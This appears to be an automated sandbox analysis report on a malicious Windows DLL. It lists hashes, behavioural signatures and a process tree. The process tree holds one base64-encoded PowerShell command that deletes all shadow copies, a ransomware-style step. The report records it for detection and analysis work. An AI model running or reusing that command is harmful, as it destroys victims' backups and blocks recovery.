Analysis
-
max time kernel
186s -
max time network
191s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
12-06-2022 13:46
Static task
static1
Behavioral task
behavioral1
Sample
2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1.dll
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1.dll
Resource
win10v2004-20220414-en
General
-
Target
2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1.dll
-
Size
164KB
-
MD5
3ad4c27f8d0e7135f401474811bd9b25
-
SHA1
9eb3c7f77134c49fbe1bdda2d2ef4fb6eb5377ce
-
SHA256
2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1
-
SHA512
38bca02223716d44c209345c3a165264bb0a7009353c7e57db22ef7143e49a18ce1908e15abd5fae7b93e74c64c305b88bd32b5a862096b7c2b950a142e2f971
Malware Config
Signatures
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\P: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
rundll32.exepowershell.exepid process 4628 rundll32.exe 4628 rundll32.exe 4560 powershell.exe 4560 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 4560 powershell.exe Token: SeBackupPrivilege 788 vssvc.exe Token: SeRestorePrivilege 788 vssvc.exe Token: SeAuditPrivilege 788 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 4644 wrote to memory of 4628 4644 rundll32.exe rundll32.exe PID 4644 wrote to memory of 4628 4644 rundll32.exe rundll32.exe PID 4644 wrote to memory of 4628 4644 rundll32.exe rundll32.exe PID 4628 wrote to memory of 4560 4628 rundll32.exe powershell.exe PID 4628 wrote to memory of 4560 4628 rundll32.exe powershell.exe
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1.dll,#11⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/4560-131-0x0000000000000000-mapping.dmp
-
memory/4560-132-0x00000253F09D0000-0x00000253F09F2000-memory.dmpFilesize
136KB
-
memory/4560-133-0x00007FFAE0A20000-0x00007FFAE14E1000-memory.dmpFilesize
10.8MB
-
memory/4560-134-0x00007FFAE0A20000-0x00007FFAE14E1000-memory.dmpFilesize
10.8MB
-
memory/4560-135-0x00007FFAE0A20000-0x00007FFAE14E1000-memory.dmpFilesize
10.8MB
-
memory/4628-130-0x0000000000000000-mapping.dmp